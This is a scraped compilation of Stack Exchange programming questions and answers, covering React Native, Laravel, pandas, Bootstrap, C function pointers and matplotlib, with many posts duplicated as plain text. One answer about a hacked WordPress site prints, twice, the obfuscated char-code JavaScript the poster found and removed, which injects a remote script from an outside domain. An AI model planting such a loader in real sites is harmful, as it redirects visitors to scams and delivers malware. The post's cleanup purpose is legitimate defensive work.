问:
React native white blank screen when load website in a webview
Bug description: The site that I directed with Webview is opened in the ios simulator, Although not working in the andorid simulator.

To Reproduce:

react-native init AwesomeProject
cd AwesomeProject
react-native run-android

&& my code

code

Expected behavior:.  Work same as ios simulator

Screenshots/Videos:

Environment:
 - OS: macOS
 - OS version: 10.15.3
 - react-native version: 0.62.2
 - react-native-webview version: 10.2.3

答:
It could be a styles problem, try the following</p>

```<code><View style={{width: '100%', height: '100%', backgroundColor: '#FFF'}}>
  ...//webview component
</View>
</code>```

Body:
It could be a styles problem, try the following

<View style={{width: '100%', height: '100%', backgroundColor: '#FFF'}}>
  ...//webview component
</View>


来源: stackexchange

问:
Is there a way to automatically update a certain field after certain time?
I am creating an website using node.js, express.js, and mongoose and I have one field that needs to be updated after a certain time so my question is there a way to do that ? Or I have to use cron? Thank you for your answer.</p>

答: You shouldn't need to update a field when the ban expires.  Instead, put a future time in the field for when that ban expires.  Then whenever they attempt to connect or login, you just check if the time in the field has passed.  If not, they aren't allowed in.  If so, then they are allowed in.  This is much more efficient than trying to clear a field in 30 minutes.  Just put a time for 30 minutes from now in the field and check that time anytime they connect.</p>

ContentLicense: CC BY-SA 4.0


问:
Why in Nyquist Theorems, for each hz of bandwidth, 2 symbol can be carried?
The Nyquist bit transfer rate equation: C_max = 2WLog_2(M)

The max bits transfer rate is 2 times of analogue bandwidth times bits carried per symbol

Why each Hz can carry 2 symbols? Wouldn't each cycle of wave represent exactly 1 symbol?

How is this related to the Nyquist sampling Theorems? Sampling theorem is about recovering an analogue signal from the digital signal without loss, but isn't the equation about recover the digital signal from an analogue signal?

答: A sine wave and a cosine wave (or a sine wave shifted 90 degrees in phase) are mathematically orthogonal, and thus a 1 Hz signal of each can be transmitted without interfering with the other, as long as the two phases are carefully kept orthogonal at the transmitter, and tracked separately at the receiver (thus requiring some kind of initial phase synchronization mechanism).  Each orthogonal carrier, at the theoretical limit, can carry 1 bit per unit time; thus 2 bits for the orthogonal pair.</p>


问:
Laravel multi condition query
I want to search for users previous relations but not sure how to make this logic happen.

Logic

My table has 2 columns from_id to_id (both will get users ids)

I am sending 2 ids to back-end (one as input, another one in request header)

I want to say: whereinput id is from_id and header id is to_idORwhere input id is to_id and header id is from_id` return the result otherwise is null obviously.

Note:
The part that I'm stuck in is and in conditions input id is from_id and header id is to_id OR where input id is to_id and header id is from_id

Code

currently I have half way code which is this:

```<code>public function check(Request $request) {
  // user id from header request (request sender) e.g `1`
  $user = $request->user();
  // second user id (not sure where to use it yet) e.g `4`
  $request->input('receiverId');

  $chat = PrivateChat::where('from_id', $user->id)->orWhere('to_id', $user->id)->first();
}
</code>```

To make it simple

Basically I want return old chat between the 2 ids regardless of who was sender (from_id) and who was receiver (to_id).

Any idea how to make my logic happen?

Update

this is my full code and it always return false while i do have previous chat between users with id 1 and 4.

```<code>public function check(Request $request) {
    $user = $request->user();

    $chat = PrivateChat::where([['from_id', $user->id],['to_id',$request->input('receiverId')]])
    ->orWhere([['from_id', $request->input('receiverId')],['to_id',$user->id]])->first();

    $receiver = User::where('id', $request->input('receiverId'))->first();

    if($chat) {
        return response()->json([
            'data' => new PrivateChatResource($chat),
            'exist' => true,
            'receiver' => new UserResource($receiver),
            'message' => 'Chat data retrieved successfully.'
        ]);
    } else {
        return response()->json([
            'exist' => false,
            'receiver' => new UserResource($receiver),
            'message' => 'Chat data retrieved successfully.'
        ]);
    }
}
</code>```

答:
As i see it you want to do the boolean logic, if wrong please correct me.

```<code>(from_id = header_id AND to_id = header_id) OR (from_id = input_id AND to_id = input_id)
</code>```

This can be obtained with the following Eloquent query. Using where($cloure) syntax, for doing the boolean logic listed above. Calling where with a closure, adds parenthesis to your logic, everything within the clojure will be wrapped in ().

```<code>$user = $request->user();

$userInput = $request->input('receiverId');

PrivateChat::where(function ($query) use ($user) {
    $query->where('from_id', $user->id)->orWhere('to_id', $user->id);
})->orWhere(function ($query) use ($userInput) {
    $query->where('from_id', $userInput)->orWhere('to_id', $userInput);
})->first();
</code>```

Title: Laravel multi condition query

Body:
I want to search for users previous relations but not sure how to make this logic happen.

Logic

My table has 2 columns from_id to_id (both will get users ids)

I am sending 2 ids to back-end (one as input, another one in request header)

I want to say: whereinput id is from_id and header id is to_idORwhere input id is to_id and header id is from_id` return the result otherwise is null obviously.

Note:
The part that I'm stuck in is and in conditions input id is from_id and header id is to_id OR where input id is to_id and header id is from_id

Code

currently I have half way code which is this:

public function check(Request $request) {
  // user id from header request (request sender) e.g `1`
  $user = $request->user();
  // second user id (not sure where to use it yet) e.g `4`
  $request->input('receiverId');

  $chat = PrivateChat::where('from_id', $user->id)->orWhere('to_id', $user->id)->first();
}

To make it simple

Basically I want return old chat between the 2 ids regardless of who was sender (from_id) and who was receiver (to_id).

Any idea how to make my logic happen?

Update

this is my full code and it always return false while i do have previous chat between users with id 1 and 4.

public function check(Request $request) {
    $user = $request->user();

    $chat = PrivateChat::where([['from_id', $user->id],['to_id',$request->input('receiverId')]])
    ->orWhere([['from_id', $request->input('receiverId')],['to_id',$user->id]])->first();

    $receiver = User::where('id', $request->input('receiverId'))->first();

    if($chat) {
        return response()->json([
            'data' => new PrivateChatResource($chat),
            'exist' => true,
            'receiver' => new UserResource($receiver),
            'message' => 'Chat data retrieved successfully.'
        ]);
    } else {
        return response()->json([
            'exist' => false,
            'receiver' => new UserResource($receiver),
            'message' => 'Chat data retrieved successfully.'
        ]);
    }
}

Body:
As i see it you want to do the boolean logic, if wrong please correct me.

(from_id = header_id AND to_id = header_id) OR (from_id = input_id AND to_id = input_id)

This can be obtained with the following Eloquent query. Using where($cloure) syntax, for doing the boolean logic listed above. Calling where with a closure, adds parenthesis to your logic, everything within the clojure will be wrapped in ().

$user = $request->user();

$userInput = $request->input('receiverId');

PrivateChat::where(function ($query) use ($user) {
    $query->where('from_id', $user->id)->orWhere('to_id', $user->id);
})->orWhere(function ($query) use ($userInput) {
    $query->where('from_id', $userInput)->orWhere('to_id', $userInput);
})->first();


问:
Wordpress Hacked Website JS:Fakepush-A [Trj]
today my client told me that his website automatically redirect to another one external scam website.
On first sight no problem in the file directories, and no injections in the fields of the settings.

Wordfence no report any type of warning, but the Avast Antivirus in the client machine report a trojan warning:

"JS:Fakepush-A [Trj]" infection

Wordpress version 5.4.1
Theme: Newspapaer V 6.6.4

Any ideas?

答:
After a closer look I found a portion of code that seemed foreign to the original project, in the theme settings---->Custom Code----->Custom Javascript:

```<code>var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}
</code>```

Removed. After a total cache clean (.js min included) the website don't redirect anymore.
Moreover, i think that the theme needs an upgrade.

Body:
After a closer look I found a portion of code that seemed foreign to the original project, in the theme settings---->Custom Code----->Custom Javascript:

var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}

Removed. After a total cache clean (.js min included) the website don't redirect anymore.
Moreover, i think that the theme needs an upgrade.


Title: Sliding window calculation with a step size in python

Body:
I have this data using pandas:

SNP = pd.read_csv("C:/Users/sia/Desktop/SNP.txt",delimiter=r"\s+",header=0)
ID Chr Position p
M1  1   4762    0.40
M2  1   77143   0.62
M3  1   130756  0.22
M4  1   227358  0.50
M5  1   265131  0.60
M6  1   568128  0.64
M7  2   2000    0.32
M8  2   18000   0.36
M9  2   60300   0.64
M10 2   71118   0.50
M11 2   71595   0.28
M12 2   200000  0.10

In python, How can I get the summation of p values based on a sliding window (100000) and the step size (50000) in the position column from each Chr in a new data frame like this:

   Chr  start   end     sum.p.slide
    1   0       100000  1.02
    1   50000   150000  0.84
    1   100000  200000  0.22
    1   150000  250000  0.50
    1   200000  300000  1.10
    1   250000  350000  0.60
    1   300000  400000  Na
    1   350000  450000  Na
    1   400000  500000  Na
    1   450000  550000  Na
    1   500000  600000  0.64
    2   0       100000  2.1
    2   50000   150000  Na
    2   100000  200000  0.1

Body:
I'm sure there's a better way to do this, but here you go.

df['range1'] = pd.cut(df.Position, [x for x in range(0, df.Position.max()+100000,100000)])
df['range2'] = pd.cut(df.Position, [x for x in range(50000, df.Position.max()+50000,100000)])

a = df[['range1','Chr','p']].groupby(['Chr','range1']).agg({'p':sum})
b = df[['range2','Chr','p']].groupby(['Chr','range2']).agg({'p':sum})

out = pd.concat([a,b], axis=1).fillna(np.nan).sum(axis=1).replace(0.0, np.nan).reset_index()

out['start'] = out.level_1.apply(lambda x:x.left)
out['end'] = out.level_1.apply(lambda x:x.right)

out.drop(columns=['level_1'], inplace=True)

out.columns = ['Chr','sum.p.silde','start','end']

out[['Chr','start','end','sum.p.silde']]

Output

    Chr start   end     sum.p.silde
0   1   0       100000  1.02
1   1   50000   150000  0.84
2   1   100000  200000  0.22
3   1   150000  250000  0.50
4   1   200000  300000  1.10
5   1   250000  350000  0.60
6   1   300000  400000  NaN
7   1   350000  450000  NaN
8   1   400000  500000  NaN
9   1   450000  550000  NaN
10  1   500000  600000  0.64
11  2   0       100000  2.10
12  2   50000   150000  1.42
13  2   100000  200000  0.10
14  2   150000  250000  0.10
15  2   200000  300000  NaN
16  2   250000  350000  NaN
17  2   300000  400000  NaN
18  2   350000  450000  NaN
19  2   400000  500000  NaN
20  2   450000  550000  NaN
21  2   500000  600000  NaN


问:
Feather Icons inside Javascript append not showing up
I'm using Feather icons successfully inside a <textarea> like so:

```<code><i data-feather="message-circle" class="fea icon-sm icons"></i>
<textarea style="resize:none" required=""></textarea>
</code>```

However, when I try to duplicate the row with a Javascript function, the icons do not show up.

```<code>$(wrapper).append('<i data-feather="message-circle" class="fea icon-sm icons"></i>
<textarea style="resize:none" required=""></textarea>');
</code>```

where wrapper is a div container

```<code>var wrapper = $(".container1");
</code>```

EDIT: Full function

```<code>$(document).ready(function() {
    var max_fields      = 60;
    //var wrapper         = $(".container1");
    var wrapper = ".container1";
    var add_button      = $(".add_question_field");

    var x = 1;
    $(add_button).click(function(e){
        e.preventDefault();
        if(x < max_fields){
            x++;
            $(wrapper).append('<div class="col-md-12"> <div class="form-group position-relative"> <label>Screening Question</label> <i data-feather="email" class="fea icon-sm icons"></i> <textarea style="resize:none" id="question" type="text" name="question" placeholder="Your Question" rows="5" class="form-control pl-5" required=""></textarea> </div> </div><!--end col--> <div class="col-md-12"> <div class="form-group position-relative"> <label>Answer</label> <i data-feather="email" class="fea icon-sm icons"></i> <textarea style="resize:none" id="answer" type="text" name="answer" placeholder="Answer" rows="5" class="form-control pl-5" required=""></textarea> </div> </div><!--end col--> <div class="col-md-12"> <div class="form-group position-relative"> <label>Keywords</label> <i data-feather="email" class="fea icon-sm icons"></i> <textarea style="resize:none" id="buzzwords" type="text" name="buzzwords" placeholder="Comma Separated Buzzwords and Phrases" rows="5" class="form-control pl-5" required=""></textarea> </div> </div>'); //add input box
            feather.replace()
        }
        else
        {
            alert('You Reached the limits')
        }
    });
});
</code>```

答:
Did you make sure feather initiation script is at the end of body tag and after the custom script you're applying?

```<code><!DOCTYPE html>
<html lang="en">
  <title></title>
  <script src="https://unpkg.com/feather-icons"></script>
  <body>

    <script>
      //your custom js here
      feather.replace()
    </script>
  </body>
</html>
</code>```

Edit:

After looking at the full function edited in question, looks like problem is in the icon name 'email', change it to 'mail':

```<code><i data-feather="email" class="fea icon-sm icons"></i>
</code>```

jsfiddle playground:
https://jsfiddle.net/6ebfvydg/1/

Body:
I'm using Feather icons successfully inside a <textarea> like so:

<textarea style="resize:none" required=""></textarea>

However, when I try to duplicate the row with a Javascript function, the icons do not show up.

$(wrapper).append('
<textarea style="resize:none" required=""></textarea>');

where wrapper is a div container

var wrapper = $(".container1");

EDIT: Full function

$(document).ready(function() {
    var max_fields      = 60;
    //var wrapper         = $(".container1");
    var wrapper = ".container1";
    var add_button      = $(".add_question_field");

    var x = 1;
    $(add_button).click(function(e){
        e.preventDefault();
        if(x < max_fields){
            x++;
            $(wrapper).append('

 Screening Question  <textarea style="resize:none" id="question" type="text" name="question" placeholder="Your Question" rows="5" class="form-control pl-5" required=""></textarea>

 Answer  <textarea style="resize:none" id="answer" type="text" name="answer" placeholder="Answer" rows="5" class="form-control pl-5" required=""></textarea>

 Keywords  <textarea style="resize:none" id="buzzwords" type="text" name="buzzwords" placeholder="Comma Separated Buzzwords and Phrases" rows="5" class="form-control pl-5" required=""></textarea>

'); //add input box
            feather.replace()
        }
        else
        {
            alert('You Reached the limits')
        }
    });
});

Body:
Did you make sure feather initiation script is at the end of body tag and after the custom script you're applying?

<!DOCTYPE html>
<html lang="en">
  <title></title>
  <script src="https://unpkg.com/feather-icons"></script>
  <body>

    <script>
      //your custom js here
      feather.replace()
    </script>
  </body>
</html>

Edit:

After looking at the full function edited in question, looks like problem is in the icon name 'email', change it to 'mail':

<i data-feather="email" class="fea icon-sm icons"></i>

jsfiddle playground:
https://jsfiddle.net/6ebfvydg/1/


问:
How can I pass the following argument and what kind is it?
I am relatively new in C and found the code of this question. How do you pass the argument double (*f)(double) of the function and how does the pointer works out in this?

Here's the function:

```<code>double derivative(double (*f)(double), double x0, int order)
</code>```

My guess was that first you need something like:

```<code>#include<stdio.h>
#include<stdlib.h>
#include<math.h>

double f(double x){
    return pow(x,2);
}

int main(){
    double x = 2;
    int order = 2;
    derivative(f(x), x , 2);
}
</code>```

I tried it but it didn't work. Thanks for the help.

答:
double (*f)(double) is a function pointer. It means you need to pass a pointer to (or just the name of) a function. In your attempt, you're calling the function, then passing the return value, which isn't correct.

The correct way would be:

```<code>derivative(f, x, 2);
</code>```

Body:
I am relatively new in C and found the code of this question. How do you pass the argument double (*f)(double) of the function and how does the pointer works out in this?

Here's the function:

double derivative(double (*f)(double), double x0, int order)

My guess was that first you need something like:

#include<stdio.h>
#include<stdlib.h>
#include<math.h>

double f(double x){
    return pow(x,2);
}

int main(){
    double x = 2;
    int order = 2;
    derivative(f(x), x , 2);
}

I tried it but it didn't work. Thanks for the help.

Body:
double (*f)(double) is a function pointer. It means you need to pass a pointer to (or just the name of) a function. In your attempt, you're calling the function, then passing the return value, which isn't correct.

The correct way would be:

derivative(f, x, 2);


问:
bootstrap 4 - placing one table under another and centering
I want to have my tables centered horizontally and I expect them to be displayed one under another. Using some bootstrap 4 classes I've managed to have the tables displayed very unevenly or to have one missing. That is why I am looking for help, and I'm delivering the code, where the two tables exists in one row. </p>

```<code><div class="mt-3 d-flex justify-content-center">
        <div class="text-center p-2">
        <table class="table table-dark table-striped w-auto">
        <thead>
            <tr class="bg-primary">
            <th>Przystanek</th>
            <th>(A)</th>
            <th>(A)</th>
            <th>(A)</th>
            <th>(A)</th>
            </tr>
        </thead>
        <tbody>
            <tr>
            <th scope="row">Lidzbark Warmiński</th>
            <td>08:00</td>
            <td>12:00</td>
            <td>15:00</td>
            <td>19:00</td>
            </tr>
            <tr>
            <th scope="row">Kraszewo</th>
            <td>08:20</td>
            <td>12:20</td>
            <td>15:20</td>
            <td>19:20</td>
            </tr>
            <tr>
            <th scope="row">Dobre Miasto</th>
            <td>08:30</td>
            <td>12:30</td>
            <td>15:30</td>
            <td>19:30</td>
            </tr>
            <tr>
            <th scope="row">Olsztyn PKP</th>
            <td>09:00</td>
            <td>13:00</td>
            <td>16:00</td>
            <td>20:00</td>
            </tr>
        </tbody>
        </table>
        </div>

        <div class="text-center p-2">
        <table class="table table-dark table-striped w-auto ">
        <thead>
            <tr class="bg-primary">
            <th>Przystanek</th>
            <th>(A)</th>
            <th>(A)</th>
            <th>(A)</th>
            <th>(A)</th>
            </tr>
        </thead>
        <tbody>
            <tr>
            <th scope="row">Olsztyn PKP</th>
            <td>09:00</td>
            <td>13:00</td>
            <td>17:00</td>
            <td>21:00</td>
            </tr>
            <tr>
            <th scope="row">Dobre Miasto</th>
            <td>09:30</td>
            <td>13:30</td>
            <td>17:30</td>
            <td>21:30</td>
            </tr>
            <tr>
            <th scope="row">Kraszewo</th>
            <td>09:50</td>
            <td>13:50</td>
            <td>17:50</td>
            <td>21:50</td>
            </tr>
            <tr>
            <th scope="row">Lidzbark Warmiński</th>
            <td>10:00</td>
            <td>14:00</td>
            <td>18:00</td>
            <td>22:00</td>
            </tr>
        </tbody>
        </table>
        </div>
    </div>
</code>```

答:
Why don't you change your layout a little bit? You can put each table inside a column col-12 and second table will be positioned below the first one. This is how bootstrap layout works and you don't need extra classes to center tables. Even more - you can adjust table width by changing columns for example to col-md-8. You can use offset classes offset-* to center them horizontaly.

Here you have Bootstrap DOCS: https://getbootstrap.com/docs/4.5/getting-started/introduction/

/*DEMO*/body{padding:3rem}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" rel="stylesheet">

<div class="row">
  <div class="col-12 mb-5">
    <table class="table table-dark table-striped">
      <thead><tr class="bg-primary"><th>Przystanek</th><th>(A)</th><th>(A)</th><th>(A)</th><th>(A)</th></tr></thead><tbody><tr><th scope="row">Lidzbark Warmiński</th> <td>08:00</td><td>12:00</td><td>15:00</td><td>19:00</td></tr><tr><th scope="row">Kraszewo</th><td>08:20</td><td>12:20</td><td>15:20</td><td>19:20</td></tr><tr><th scope="row">Dobre Miasto</th><td>08:30</td><td>12:30</td><td>15:30</td><td>19:30</td></tr><tr><th scope="row">Olsztyn PKP</th><td>09:00</td><td>13:00</td><td>16:00</td><td>20:00</td></tr></tbody>
    </table>
  </div>
  <div class="col-8 offset-2">
    <table class="table table-dark table-striped">
      <thead><tr class="bg-primary"><th>Przystanek</th><th>(A)</th><th>(A)</th><th>(A)</th><th>(A)</th></tr></thead><tbody><tr><th scope="row">Olsztyn PKP</th><td>09:00</td><td>13:00</td><td>17:00</td><td>21:00</td></tr><tr><th scope="row">Dobre Miasto</th><td>09:30</td><td>13:30</td><td>17:30</td><td>21:30</td></tr><tr><th scope="row">Kraszewo</th><td>09:50</td><td>13:50</td><td>17:50</td><td>21:50</td></tr><tr><th scope="row">Lidzbark Warmiński</th><td>10:00</td><td>14:00</td><td>18:00</td><td>22:00</td></tr></tbody>
    </table>
  </div>
</div></code>```

Body:
I want to have my tables centered horizontally and I expect them to be displayed one under another. Using some bootstrap 4 classes I've managed to have the tables displayed very unevenly or to have one missing. That is why I am looking for help, and I'm delivering the code, where the two tables exists in one row.

            Przystanek
            (A)
            (A)
            (A)
            (A)

            Lidzbark Warmiński
            08:00
            12:00
            15:00
            19:00

            Kraszewo
            08:20
            12:20
            15:20
            19:20

            Dobre Miasto
            08:30
            12:30
            15:30
            19:30

            Olsztyn PKP
            09:00
            13:00
            16:00
            20:00

            Przystanek
            (A)
            (A)
            (A)
            (A)

            Olsztyn PKP
            09:00
            13:00
            17:00
            21:00

            Dobre Miasto
            09:30
            13:30
            17:30
            21:30

            Kraszewo
            09:50
            13:50
            17:50
            21:50

            Lidzbark Warmiński
            10:00
            14:00
            18:00
            22:00

Body:
Why don't you change your layout a little bit? You can put each table inside a column col-12 and second table will be positioned below the first one. This is how bootstrap layout works and you don't need extra classes to center tables. Even more - you can adjust table width by changing columns for example to col-md-8. You can use offset classes offset-* to center them horizontaly.

Here you have Bootstrap DOCS: https://getbootstrap.com/docs/4.5/getting-started/introduction/

/*DEMO*/body{padding:3rem}

<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" rel="stylesheet">

<div class="row">
  <div class="col-12 mb-5">
    <table class="table table-dark table-striped">
      <thead><tr class="bg-primary"><th>Przystanek</th><th>(A)</th><th>(A)</th><th>(A)</th><th>(A)</th></tr></thead><tbody><tr><th scope="row">Lidzbark Warmiński</th> <td>08:00</td><td>12:00</td><td>15:00</td><td>19:00</td></tr><tr><th scope="row">Kraszewo</th><td>08:20</td><td>12:20</td><td>15:20</td><td>19:20</td></tr><tr><th scope="row">Dobre Miasto</th><td>08:30</td><td>12:30</td><td>15:30</td><td>19:30</td></tr><tr><th scope="row">Olsztyn PKP</th><td>09:00</td><td>13:00</td><td>16:00</td><td>20:00</td></tr></tbody>
    </table>
  </div>
  <div class="col-8 offset-2">
    <table class="table table-dark table-striped">
      <thead><tr class="bg-primary"><th>Przystanek</th><th>(A)</th><th>(A)</th><th>(A)</th><th>(A)</th></tr></thead><tbody><tr><th scope="row">Olsztyn PKP</th><td>09:00</td><td>13:00</td><td>17:00</td><td>21:00</td></tr><tr><th scope="row">Dobre Miasto</th><td>09:30</td><td>13:30</td><td>17:30</td><td>21:30</td></tr><tr><th scope="row">Kraszewo</th><td>09:50</td><td>13:50</td><td>17:50</td><td>21:50</td></tr><tr><th scope="row">Lidzbark Warmiński</th><td>10:00</td><td>14:00</td><td>18:00</td><td>22:00</td></tr></tbody>
    </table>
  </div>
</div>


问:
Jupyter matplotlib function query
I started a Data Visualisation course today,

We are using the 'matplotlib' library to create a histogram from an imported .csv file,

Here is the code:

```<code>import csv
import matplotlib.pyplot as plt

input_file = 'iris.csv'
plt.figure(figsize=(7.5, 4.25))
plt.style.use('classic')

with open(input_file, 'r') as iris_data:
    irises = list(csv.reader(iris_data))

virginica_petal_length = []

num_bins = 10

for petal in range(0, len(irises)-1):
    if irises[petal][4] == 'Iris-virginica':
        virginica_petal_length.append(float(irises[petal][2]))

plt.hist(virginica_petal_length, num_bins, facecolor='red', alpha=0.75)

plt.title('Iris-virginica Petal length', fontsize=12)
plt.xlabel('Petal length (cm)', fontsize=10)
plt.ylabel('Probability', fontsize=10)

plt.show()
</code>```

Could somebody please explain what is happening here?:

```<code>with open(input_file, 'r') as iris_data:
    irises = list(csv.reader(iris_data))
</code>```

&

```<code>for petal in range(0, len(irises)-1):
    if irises[petal][4] == 'Iris-virginica':
        virginica_petal_length.append(float(irises[petal][2]))
</code>```

I really can't get my head around it at the moment!

Many thanks,

答:
```<code>with open(input_file, 'r') as iris_data:
    irises = list(csv.reader(iris_data))
</code>```

You read the content of your file 'iris.csv' with open() in read mode ('r'), and put it in a local variable iris_data.

Then, you use csv.reader() to get all the data present in your file.
And I don't know why, but you store that in a list (of 1 element), called irises.
It could be useful if you had multiple datasets, but in this case, it just makes the code harder to read.

```<code>for petal in range(0, len(irises)-1):
    if irises[petal][4] == 'Iris-virginica':
        virginica_petal_length.append(float(irises[petal][2]))
</code>```

For each dataframe (having the index petal) of your list irises, irises[petal] refers to the content of the dataframe you're dealing with (more specifically, the object returned by csv.reader, see https://docs.python.org/3/library/csv.html).

With the same notations, irises[petal][4] returns the 5th element of this object, in this case probably the species of irises.

You check that the fifth element is equal to the string 'Iris-virginica'. If yes, you add the second element of your dataset (probably the list of irises petal lengths) to the list of virginica petal lengths. The float function convert the petal length in float type.

If you want to start softly with data visualization, may I suggest to use pandas (a python library) instead of csv to load your data? You could look the pandas.read_csv function.

Good luck with the tutorial!

Title: Jupyter matplotlib function query

Body:
I started a Data Visualisation course today,

We are using the 'matplotlib' library to create a histogram from an imported .csv file,

Here is the code:

import csv
import matplotlib.pyplot as plt

input_file = 'iris.csv'
plt.figure(figsize=(7.5, 4.25))
plt.style.use('classic')

with open(input_file, 'r') as iris_data:
    irises = list(csv.reader(iris_data))

virginica_petal_length = []

num_bins = 10

for petal in range(0, len(irises)-1):
    if irises[petal][4] == 'Iris-virginica':
        virginica_petal_length.append(float(irises[petal][2]))

plt.hist(virginica_petal_length, num_bins, facecolor='red', alpha=0.75)

plt.title('Iris-virginica Petal length', fontsize=12)
plt.xlabel('Petal length (cm)', fontsize=10)
plt.ylabel('Probability', fontsize=10)

plt.show()

Could somebody please explain what is happening here?:

with open(input_file, 'r') as iris_data:
    irises = list(csv.reader(iris_data))

&

for petal in range(0, len(irises)-1):
    if irises[petal][4] == 'Iris-virginica':
        virginica_petal_length.append(float(irises[petal][2]))

I really can't get my head around it at the moment!

Many thanks,

Body:
with open(input_file, 'r') as iris_data:
    irises = list(csv.reader(iris_data))

You read the content of your file 'iris.csv' with open() in read mode ('r'), and put it in a local variable iris_data.

Then, you use csv.reader() to get all the data present in your file.
And I don't know why, but you store that in a list (of 1 element), called irises.
It could be useful if you had multiple datasets, but in this case, it just makes the code harder to read.

for petal in range(0, len(irises)-1):
    if irises[petal][4] == 'Iris-virginica':
        virginica_petal_length.append(float(irises[petal][2]))

For each dataframe (having the index petal) of your list irises, irises[petal] refers to the content of the dataframe you're dealing with (more specifically, the object returned by csv.reader, see https://docs.python.org/3/library/csv.html).

With the same notations, irises[petal][4] returns the 5th element of this object, in this case probably the species of irises.

You check that the fifth element is equal to the string 'Iris-virginica'. If yes, you add the second element of your dataset (probably the list of irises petal lengths) to the list of virginica petal lengths. The float function convert the petal length in float type.

If you want to start softly with data visualization, may I suggest to use pandas (a python library) instead of csv to load your data? You could look the pandas.read_csv function.

Good luck with the tutorial!


问:
setTimeout delay of ~100ms when set to 0
As a personnal project I'm trying to reproduce a piano roll (like the ones in DAWs) using p5.js, Web Midi Api and Web Audio Font.
When implementing the play function, I first did it with a while loop, but I realised that I couldn't stop the track from playing since javascript is single thread. So I tried to play the notes recursively with this code :

```<code>function playTrackRecursively(id) {
  var delay = 0;
  isTrackPlaying = true;
  playNote(mainTrack[id][0], 0);
  if (id < mainTrack.length - 1 && isTrackPlaying){
    delay = mainTrack[id + 1][1] - mainTrack[id][1];
    recursiveID = setTimeout(function() {
      playTrackRecursively(id + 1);
    }, delay * 1000);
  }
  isTrackPlaying = false;
}
</code>```

It's working fine except that when I try to play multiple notes simultaneously, they play each one after the other with a delay of roughly 100ms.

What could I do ?
Thank you.

答:
I found the solution with the help of @user120242 in the comments.

So it was just a mix between the two solutions that I had.
I go recursively through every timestamp in the track, and each time I get all the notes that start here in an array, then I play them one by one (it's fast enough to give the illusion of simultaneity). So despite what I read, it was indeed possible.

Here is the code :

```<code>function playTrackRecursively(id) {
  var delay = 0;
  isTrackPlaying = true;
  var notesBatch = getNotesOfSameStartTime(mainTrack[id][1]);
  playNotesInBatch(notesBatch);
  if (id + notesBatch.length < mainTrack.length && isTrackPlaying){
    delay = mainTrack[id + notesBatch.length][1] - mainTrack[id][1];
    recursiveID = setTimeout(function() {
      playTrackRecursively(id + notesBatch.length);
    }, delay * 1000);
  }
}

function playNotesInBatch(notes) {
  for (var i = 0; i < notes.length; i++) {
    playNote(notes[i][0], notes[i][1]);
  }
}

function getNotesOfSameStartTime(startTime) {
  var indexArray = []
  for (var i = 0; i < mainTrack.length; i++) {
    if (mainTrack[i][1] == startTime) {
      indexArray.push(i);
    }
  }
  var batch = mainTrack.slice(indexArray[0], indexArray[indexArray.length - 1] + 1);
  return batch;
}
</code>```

Body:
As a personnal project I'm trying to reproduce a piano roll (like the ones in DAWs) using p5.js, Web Midi Api and Web Audio Font.
When implementing the play function, I first did it with a while loop, but I realised that I couldn't stop the track from playing since javascript is single thread. So I tried to play the notes recursively with this code :

function playTrackRecursively(id) {
  var delay = 0;
  isTrackPlaying = true;
  playNote(mainTrack[id][0], 0);
  if (id < mainTrack.length - 1 && isTrackPlaying){
    delay = mainTrack[id + 1][1] - mainTrack[id][1];
    recursiveID = setTimeout(function() {
      playTrackRecursively(id + 1);
    }, delay * 1000);
  }
  isTrackPlaying = false;
}

It's working fine except that when I try to play multiple notes simultaneously, they play each one after the other with a delay of roughly 100ms.

What could I do ?
Thank you.

Body:
I found the solution with the help of @user120242 in the comments.

So it was just a mix between the two solutions that I had.
I go recursively through every timestamp in the track, and each time I get all the notes that start here in an array, then I play them one by one (it's fast enough to give the illusion of simultaneity). So despite what I read, it was indeed possible.

Here is the code :

function playTrackRecursively(id) {
  var delay = 0;
  isTrackPlaying = true;
  var notesBatch = getNotesOfSameStartTime(mainTrack[id][1]);
  playNotesInBatch(notesBatch);
  if (id + notesBatch.length < mainTrack.length && isTrackPlaying){
    delay = mainTrack[id + notesBatch.length][1] - mainTrack[id][1];
    recursiveID = setTimeout(function() {
      playTrackRecursively(id + notesBatch.length);
    }, delay * 1000);
  }
}

function playNotesInBatch(notes) {
  for (var i = 0; i < notes.length; i++) {
    playNote(notes[i][0], notes[i][1]);
  }
}

function getNotesOfSameStartTime(startTime) {
  var indexArray = []
  for (var i = 0; i < mainTrack.length; i++) {
    if (mainTrack[i][1] == startTime) {
      indexArray.push(i);
    }
  }
  var batch = mainTrack.slice(indexArray[0], indexArray[indexArray.length - 1] + 1);
  return batch;
}


问:
date_format with sequelize mysql
I am using sequelize for my backend and I want to add a where condition with YYYY-mm-dd

In mysql we use date_format(dateCreated, "%d-%m-%Y").

But how to achieve it in Sequelize. I searched all over the google but nothing helped me out

My present Sequelize query. I want to get data of dateCreated = '2020-05-31'.

```<code>const apartmentOrdersData = await apartments_order.findAll(
        {
            where: { apid: req.body.apid }, group: ['apcid'],
            attributes: ['apcid', [sequelize.fn('sum', sequelize.col('totalCost')), 'total_amount'],],
